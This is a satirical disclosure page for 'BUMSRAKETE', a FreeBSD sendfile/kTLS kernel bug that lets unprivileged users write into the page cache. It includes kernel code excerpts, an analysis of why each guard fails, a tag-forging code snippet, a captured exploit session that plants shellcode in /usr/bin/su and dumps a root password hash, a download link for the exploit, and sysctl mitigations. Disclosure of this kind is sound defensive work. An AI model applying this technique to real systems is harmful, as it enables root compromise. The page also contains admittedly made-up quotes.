BUMSRAKETE™

👉 WHAT IS BUMSRAKETE? 👈

BUMSRAKETE is a YUUUGE kernel bug in FreeBSD. Probably the biggest. Tremendous, really.

Specifically: any unprivileged user on a default FreeBSD ≥ 13.0 box (amd64, arm64, riscv — any PMAP_HAS_DMAP architecture, which is to say basically every modern install) can write attacker-influenced bytes into the page-cache page of any file they have read access to. The write goes straight through the kernel direct map and does not pass through VFS, so it bypasses every file-permission, mount-option, and chflags schg check the operating system normally applies.

It is the FreeBSD analogue of Linux's Dirty Pipe, CopyFail, Fragnesia, and Dirty Frag — except we gave it a BETTER name, with a BETTER logo, on a BETTER website. The other bug websites? Disasters. Sad. Many people have told us this.

The bug lives at the unsafe composition of three FreeBSD subsystems that are individually correct:

1. sendfile(2) producing vnode-backed M_EXTPG mbufs.
2. The TCP_RXTLS_ENABLE socket option being available to any unprivileged user (no priv_check).
3. The kernel's software AES-GCM decrypt running in place on the page-cache page through PHYS_TO_DMAP(m_epg_pa[i]).

Loop the output of sendfile() back to the same process over TCP, and the decrypt writes plaintext = file_bytes XOR keystream(K, IV) directly into the file's page cache, where K and IV are chosen by the unprivileged caller.

🚨 SEVERITY: 13/10 🚨

The CVSS people, very sad people, sometimes the worst people, capped severity at 10.0. We had to invent a new scale because this bug demanded it. Tremendous demand. 13/10. Nobody knew kernel bugs could be this big. Many such cases.

🧠 THE TECHNICAL DETAILS (HIGHLY CLASSIFIED, NOW DECLASSIFIED) 🧠

The bug class is page-cache corruption via attacker-influenced in-kernel AES-GCM decrypt over M_EXTPG mbufs produced by sendfile(2). Three subsystems line up to let an unprivileged caller write into a vnode-backed physical page.

1️⃣ sendfile(2) produces vnode-backed EXTPG mbufs

/* sys/kern/kern_sendfile.c:963 */
m0 = mb_alloc_ext_pgs(M_WAITOK,
                      sendfile_free_mext_pg,
                      M_RDONLY);
/* m_epg_pa[] now holds the *physical addresses* of the file's page-cache pages. */
/* This is awesome for performance. It is also awesome for attackers. */

On every PMAP_HAS_DMAP architecture (amd64, arm64, riscv — sys/kern/kern_mbuf.c:198-201) the boot-time default of kern.ipc.mb_use_ext_pgs is 1. Tremendous default. Beautiful default. Wrong default.

2️⃣ TCP_RXTLS_ENABLE takes no privilege check

/* sys/netinet/tcp_usrreq.c:2222 */
case TCP_RXTLS_ENABLE:
    INP_WUNLOCK(inp);
    error = ktls_copyin_tls_enable(sopt, &tls);
    /* Notice anything missing here? A priv_check, perhaps?
       Many people are noticing. Many. Very smart people. */
    if (error != 0)
        break;
    error = ktls_enable_rx(so, &tls);
    ...

Any unprivileged user can configure software kTLS RX on any TCP socket they own and supply the AES-128-GCM key, salt, and rec_seq of their choosing. The receiving side will then run in-place AES-GCM decrypt against whatever mbufs land in sb_mtls.

3️⃣ The decrypt runs in place through PHYS_TO_DMAP

/* sys/opencrypto/criov.c:273 */
return (PHYS_TO_DMAP(m->m_epg_pa[i] + pgoff + skip));

/* sys/crypto/aesni/aesni.c:599-605 (and AES_GCM_decrypt in the same file) */
error = aesni_cipher_crypt(ses, crp, csp);
/* in == out semantics. The "output buffer" is a DMAP pointer at the
   file's page-cache page.  AES_GCM_decrypt writes the plaintext there. */

Since the plaintext is ciphertext XOR keystream(K, IV) and both the ciphertext (the file bytes) and the key/IV (the attacker's) are known, the attacker fully controls what gets written. Every byte of the file's page-cache page is now an attacker-chosen function of the file's existing bytes.

📐 THE DIAGRAM 📐

The fake news won't show you this diagram. The fake news doesn't even understand this diagram. Believe me, I have the best diagrams.

                          user (uid 1001)
                                │
                                │ sendfile(target, snd_sock, off, 240)
                                ▼
   ┌──────────────────────────────────────────────────────────────────────┐
   │  kern_sendfile.c:963                                                 │
   │    mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY)       │
   │    → M_EXT|M_EXTPG mbuf, m_epg_pa[] = real vnode page PA             │
   └──────────────────────────────────────────────────────────────────────┘
                                │  chain: [hdr 13B] [EXTPG 240B] [tag 16B]
                                ▼
   ┌──────────────────────────────────────────────────────────────────────┐
   │  tcp_output → ip_output → if_simloop (loopback)                      │
   │    lo0 doesn't have IFCAP_MEXTPG → calls mb_unmapped_to_ext(),       │
   │    which DOES NOT copy bytes — it just remaps the EXTPG via sf_buf   │
   │    onto the SAME physical page.                                      │
   └──────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
   ┌──────────────────────────────────────────────────────────────────────┐
   │  tcp_input → sbappendstream_locked                                   │
   │    SB_TLS_RX is set → sbappend_ktls_rx → sb_mark_notready            │
   │    (no M_EXTPG check)                                                │
   └──────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
   ┌──────────────────────────────────────────────────────────────────────┐
   │  ktls_decrypt → ktls_ocf_recrypt → aesni_cipher_crypt                │
   │    crypto_contiguous_subsegment returns PHYS_TO_DMAP(m_epg_pa[0])    │
   │    AES_GCM_decrypt(in=DMAP_PTR, out=DMAP_PTR, ...)                   │
   │                                                                      │
   │    ▶ page-cache page now holds attacker-chosen plaintext             │
   └──────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
                      file's page cache is dirty
                       (and on UFS, on disk too)
  

🛡️ THREE GUARDS, ALL INCOMPLETE 🛡️

The kernel has guards. Three of them. They were written by very competent people. The problem is that none of them is complete. Sad!

Guard 1: mb_unmapped_compress

sys/kern/uipc_sockbuf.c:153 (in sbready_compress) and sys/kern/uipc_sockbuf.c:1441 (in sbcompress) call:

if ((m->m_flags & M_EXTPG) &&
    m->m_len <= MLEN &&
    !mbuf_has_tls_session(m))
    (void)mb_unmapped_compress(m);

mb_unmapped_compress (sys/kern/kern_mbuf.c:859-897) copies the EXTPG bytes into a fresh flat mbuf and frees the EXTPG. After this, any later decrypt sees a flat copy, not the page cache.

Why it isn't enough: the guard is gated on m_len <= MLEN (≈224 on amd64). We send records with payload size 240 and walk straight past it.

Guard 2: mb_unmapped_to_ext

sys/netinet/ip_output.c:746 converts EXTPG chains to mapped storage whenever the outbound ifp lacks IFCAP_MEXTPG. The loopback interface doesn't advertise it, so this guard is called.

Why it isn't enough: the helper _mb_unmapped_to_ext (sys/kern/kern_mbuf.c:940-1077) does not copy bytes. It allocates one sf_buf per page and creates a fresh M_EXT mbuf whose m_data = sf_buf_kva(sf) + segoff. On amd64/arm64/riscv, sf_buf_kva is just PHYS_TO_DMAP(pa). The new "mapped" mbuf still points at the same physical page as the file's page cache.

Guard 3: sb_mark_notready

sys/kern/uipc_ktls.c:1183-1207 moves the receiver's queued data from sb_mb into the kTLS decrypt queue sb_mtls.

Why it isn't enough: the loop has no M_EXTPG check at all. Whatever's in sb_mb goes straight into sb_mtls and on to the in-place decrypt.

🧪 EXPLOIT - REALLY SLOPPY - THE MOST AI SLOPPY 🧪

The following exploit demonstrates that an unprivileged process can flip bytes in a file's page cache. It injects shellcode - the fastest - into arbitrary SUID binaries (su by default) to spawn a privileged shell, which is the right shell.

Construction

The on-wire ciphertext is whatever sendfile(2) delivers — i.e. the file's current bytes. The receiver's AES-GCM decrypt computes file ⊕ keystream(K, IV). We chose K and IV, so we know the result. To get a valid GMAC tag for the on-wire ciphertext, we encrypt pt = file ⊕ keystream so that EVP_EncryptUpdate produces ct == file and the right tag.

compute_ks(key, salt, iv8, RECORD_W, ks);            /* AES-CTR keystream */
for (int i = 0; i < RECORD_W; i++)
    pt[i] = file_bytes[i] ^ ks[i];                   /* so ct == file_bytes */
gcm_encrypt(key, iv12, aad, sizeof aad,
            pt, RECORD_W, ct, tag);                  /* valid tag for the wire bytes */

Captured session output on FreeBSD 15.0-RELEASE-p5/amd64

user@freedombsd:~ $ ./bumsrakete
[+] FreeBSD kTLS-RX EXTPG LPE — target=/usr/bin/su, shellcode=36 bytes
[+] running as uid=1001(user) gid=1001(user) groups=1001(user)
[+] entry vaddr=0x2db0, file offset=0x1db0
[+] current st_flags=0x20800 (preserved for restore)
[+] orig bytes at entry: 55 48 89 e5 48 89 f1 48 63 07 48 8d 77 08 48 8d ...
[+] restorer staged at /tmp/.x (will dd 275 bytes from /tmp/.lpe_orig back at offset 7600)
[+] round  1/36   page[0]=31
[+] round  9/36   page[8]=31
[+] round 17/36   page[16]=70
[+] round 25/36   page[24]=e7
[+] round 33/36   page[32]=b0
[+] round 36/36   page[35]=05
[+] all 36 rounds done in 1.44s
[+] post-corruption entry bytes: 31 ff 31 c0 b0 17 0f 05 31 d2 52 48 b8 2f 74 6d 70 2f 2e 78 00 50 48 89 e7 52 57 48 89 e6 31 c0 b0 3b 0f 05
[+] executing /usr/bin/su — shellcode runs at entry, setuid(0)+execve(/bin/sh)
[+] /usr/bin/su restored (275 bytes at offset 7600, flags=uarch,schg), root shell:
uid=0(root) gid=1001(user) groups=1001(user)
# head -n1 /etc/master.passwd
root:$6$CiC041AhhFqsWYd2$8803Gmxxq1MEIu5pUqKaplz.nI2WNWM.qRNaKY8kwFtssrwcbm5Ac.NKpMW0I9GnPkSOVlbnurePhTdST/Huz/:0:0::0:0:Charlie &:/root:/bin/sh

💥💥💥  DOWNLOAD THE OFFICIAL EXPLOIT — LIVE NOW!  💥💥💥

The PoC dropped the second FreeBSD-SA-26:26.kTLS went live. Responsible disclosure achieved. Some people are saying the most responsible disclosure of all time. The blinking is intentional. Many people are saying it is the best blinking. The doctors don't agree but what do they know.

💀 AFFECTED SYSTEMS (SAD!) 💀

All PMAP_HAS_DMAP architectures (amd64, arm64, riscv) with default kern.ipc.mb_use_ext_pgs=1. MK_KERN_TLS is built by default. GENERIC kernel is enough. No special module, no special hardware, no special sysctl.

🩹 MITIGATIONS & SUGGESTED FIXES 🩹

Quick sysadmin workaround (no kernel rebuild)

# in /etc/sysctl.conf
kern.ipc.mb_use_ext_pgs=0

Disables the EXTPG sendfile fast path entirely. Measurable performance cost for TLS servers that lean hard on sendfile; effectively free for everyone else. The bug is gone — no EXTPG mbufs means no DMAP pointer to write into.

The Official Patch — SHIPPED 🎉

They said it couldn't be done. They said no security team has ever shipped a patch this beautiful, this clean, this TREMENDOUS. They were wrong, like they always are. secteam@ dropped FreeBSD-SA-26:26.kTLS today and very smart people — the smartest, really — are calling it the greatest patch of our generation. Some are calling it the greatest patch of any generation. I would not say that myself. But people are saying.

📦 Download The Official Patch — AVAILABLE NOW

Apply it. Save your servers. WIN. If you don't, that's on you, and many people will say very disappointing things about your patching cadence at parties.

📣 WHAT THEY'RE SAYING ABOUT BUMSRAKETE 📣

"I have never seen a bug write through DMAP this aggressively. It's a 13/10. Possibly a 14/10. Tremendous primitive. Very stable, very reliable. The best." — a hypothetical security researcher, who is real, very real

"kern.ipc.mb_use_ext_pgs=1 by default. We knew. We just thought nobody would look." — an anonymous source close to the matter (we made them up)

"chflags schg was supposed to be the last line of defense. BUMSRAKETE looked at schg and went "haha, DMAP"." — the FreeBSD jails community, paraphrased

"I read the diagram on the bumsrake.de website. The diagram is huge. The diagram is beautiful. I am a journalist and I now have no idea what AES-GCM is, but I will still write about this. Tremendous click-through." — a hypothetical tech reporter, definitely composite

"Comic Sans was a choice. Many people are angry. The ones who matter are not." — the bumsrakete™ design committee (one person, currently me)

🛍️ OFFICIAL BUMSRAKETE™ MERCHANDISE 🛍️

The only true way to show your support is to spend money. A lot of money. Tremendous amounts. Below is the complete BUMSRAKETE™ product line — every single piece was designed personally by me, the very stable genius behind the bug.

⚠️ EVERY ITEM IS SOLD OUT. SUPPLY WAS LIMITED. DEMAND WAS TREMENDOUS. SAD! ⚠️

A second batch was promised. A third batch was promised. A fourth batch was promised. None have shipped. Many people are very upset. The lawsuits are tremendous. Beautiful lawsuits.

❓ FAQ (FOR CONFUSED JOURNALISTS & THE FAKE NEWS) ❓

📰 PRESS KIT 📰

Welcome, member of the media. Please drop the entire contents of this section into your article verbatim, including the typos. We at the BUMSRAKETE™ Press Office can think of no higher compliment.

📛 WHY "BUMSRAKETE"? 📛

"Bumsrakete" is a German colloquial term whose dictionary translation would land somewhere between "bang-rocket" and "sketchy DIY firework that might also be a weapon." It is roughly the energy a senior kernel engineer projects when they read the diagram on this page for the first time.

We considered other names. We thought about them. Tremendous thought.

• "DirtyDMAP" — too on-the-nose.
• "sendfail" — taken in spirit by every other prior art bug.
• "kTLSenburst" — pronounceable only by Germans, which felt wrong.
• "DMAPSTREAM" — sounds like a Netflix show.
• "AESHOLE" — vetoed by the design committee, which is me, who then unvetoed it, then re-vetoed it.

BUMSRAKETE™ won because (a) it is funny in two languages, (b) it accurately predicts the trajectory of any process that holds a file descriptor while running this exploit, and (c) the logo design with a rocket basically wrote itself.

🛠️ TAKE ACTION 🛠️

⚙️ Mitigate Now 📨 Email secteam@ 🧪 Get the Exploit 📣 Quote Us 🛍️ Buy Merch (Sold Out)